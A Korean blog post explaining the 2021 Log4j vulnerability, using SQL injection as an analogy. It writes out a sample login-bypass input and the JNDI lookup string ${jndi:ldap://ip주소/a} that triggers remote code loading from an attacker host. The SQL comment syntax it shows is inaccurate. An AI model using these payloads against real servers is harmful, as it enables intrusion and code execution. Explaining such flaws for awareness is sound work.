얼마전에 세계적으로 취약점으로 알려진 log4j 라고 들어보신 분들이 많을것이고
it에서 종사하시는 분들이라면 기업에서도 실제로 대응한 경험이 있을 것이다.
간단하게 설명하며 어떤 놈이길래 전세계가 덜컥했는지 알아보도록 할것이다.
일단 log4j 이슈는 2021년 12월 9일 알리바바에서 일하는 어떤 분에 의해서 발견이 되었고, 시작은 12월 1일부터 시작했다고 한다.
대략 1주일 넘게 알아채지 못했다고 한다.
사람이나 기업이든 서버에 log를 남겨두는것을 좋아한다.
로그인 기록이나 접속이력이나 검색기록, 수정, 삭제, 등등 모든것을 기록으로 남긴다.
이 기록들을 log라고 하고 숫자 4는 대한민국에서 언어유희? 처럼 for를 의미하는것이고 j는 자바의 약자이다.
결국은 log for java 이며 세계에서 가장 많이 사용되는 자바 언어의 로그를 남기는것을 도와주는 패키지 / 프레임워크 라고 할수 있다.
근데 혹시 데이터베이스를 공부해보셨다면 sql injection 이라는것을 들어보셨을수도 있다.
간단하게 알려드리면
id | |
pw |
이러한 로그인 창이 있다고 하면 결국 이 로그인 동작은 사용자가 입력한 id와 pw의 파라미터가 데이터베이스의 쿼리로 전달되어
select * from user where id=? and pw=? ;
이런 쿼리가 돌아가게 될것입니다.
주목해야할점은 마지막에 세미콜론(;) 이다.
세미콜론은 컴퓨터가 인식하기로 한줄의 마지막 , 끝이라는 의미를 담고있다.
그럼 여기서 만약 id 부분에 누군가가 korea;//
이라고 작성을 했다면? 쿼리는 결국
select * from user where id=korea;// and pw=?
이렇게 돌아간다.
그럼 아이디에 korea라는 값이 있는 사람으로 로그인이 되며 // 이하는 주석 처리가 되면서 로그인이 되는 이런 방식의 해킹을 sql injection이라고 하며 대략 10년? 전쯤에 유행을 하였다.
요즘엔 이 공격을 막기 위해 '사용자의 입력을 절대 믿지 말라' 라는 주의가 생기며 사용자의 입력을 코드로 인식하지 않는 패치를 했고,
그리하여 다양한 커뮤니티에서 댓글같은곳에 1+1 이라고 써보면 1+1 이라고 그대로 출력이 된다.
계산한 결과인 2가 나오지 않는다는 의미이고 그말은 댓글을 코드로 변환하지 않는다는 뜻이다.
이런식의 공격이었는데 이번 log4j또한 이와 비슷한 사례로 로그를 남길때 코드를 심는 방법이다.
log4j에서는 lookup이라는 기능이 있는데 이 기능은 어느정도의 유저의 코드를 신뢰하여 돌리는 기능이다.
이 공격은 해커가 서버로
${jndi:ldap://ip주소/a} 라는 string 문자열 값을 넘기면 log4j 는 이걸 로그에 넣고
결과 url을 불러온다.
그리하여 공격자는 해당 서버에서 자신의 코드를 돌리게 될수 있고,
근데 여기서 ip 주소가 악 영향을 미치는 주소라면 피해는 어마어마할것이다.
해결책이나 대응법들은 상황이나 기업의 특성마다, 사용중인 프로그램등에 따라 다르고,
어떤식으로의 공격이 이루어졌거나 피해가 얼마만큼인지는 궁금하다.
해커들은 정말 생각치도 못한 부분에서 공격을 해오곤한다.
'IT > Knowledge' 카테고리의 다른 글
BPMN 설명 및 Bizagi 툴 (52) | 2022.06.27 |
---|---|
네트워크 OSI 7 계층(Layer) (52) | 2022.05.19 |
운영체제란? (OS) (40) | 2022.05.08 |
lifeCycle ? (32) | 2022.05.07 |
로드밸런싱 (Load balancing) 종류 / 알고리즘 / L4장비 (43) | 2022.05.06 |
댓글